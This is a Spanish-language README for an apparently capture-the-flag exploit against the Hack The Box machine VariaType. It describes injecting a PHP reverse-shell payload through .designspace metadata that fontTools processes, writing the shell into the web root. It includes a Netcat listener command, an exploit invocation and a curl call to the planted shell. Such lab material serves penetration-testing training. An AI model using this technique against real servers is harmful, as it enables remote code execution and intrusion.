
Exploit para la máquina VariaType de HTB que aprovecha la inyección XML en fontTools para lograr RCE mediante un payload de reverse shell en PHP en los metadatos de .designspace.
Este repositorio contiene un exploit especializado para la máquina VariaType de Hack The Box. El exploit aprovecha una vulnerabilidad en la forma en que la biblioteca fontTools o la aplicación web maneja archivos XML .designspace y la interpolación de metadatos para lograr Ejecución Remota de Código (RCE).
La vulnerabilidad existe en el proceso de generación de fuentes. Al crear un archivo designspace malicioso, podemos inyectar un payload de reverse shell PHP en los metadatos de la fuente (específicamente en el campo <labelname>). Cuando el servidor procesa estos archivos para generar una fuente variable, escribe la salida en una ruta definida por el usuario, permitiéndonos colocar un shell .php en la raíz web.
source-light.ttf y source-regular.ttf válidas usando fontTools.designspace malicioso con un payload PHP envuelto en CDATA..php en el directorio público.Debes tener Python 3 instalado junto con las siguientes librerías:
pip install fontTools requests
En tu máquina local (o Pwnbox), inicia un listener de Netcat:
nc -lvnp 4444
Ejecuta el script proporcionando tu IP VPN de HTB y el puerto del listener:
python3 exploit.py --ip <TU_IP> --port 4444
Si la subida devuelve un 200 OK (o a veces incluso un 500 si el procesamiento ocurre antes del error), el script proporcionará el nombre del archivo. Accede a él mediante curl o tu navegador:
curl http://portal.variatype.htb/shell_xxxxxx.php
| Argumento | Descripción | Por defecto |
|---|---|---|
--ip | Tu IP de listener (VPN) | Requerido |
--port | Tu puerto de listener | Requerido |
--path | Ruta de destino para el shell | /var/www/portal.variatype.htb/public |
--url | El endpoint de subida | http://variatype.htb/tools/.../process |
Este script está destinado únicamente a fines educativos y pruebas de penetración autorizadas. Acceder o atacar objetivos sin autorización previa es ilegal.
README.md en la misma carpeta que tu script.exploit.py o actualiza el nombre del archivo en los comandos anteriores.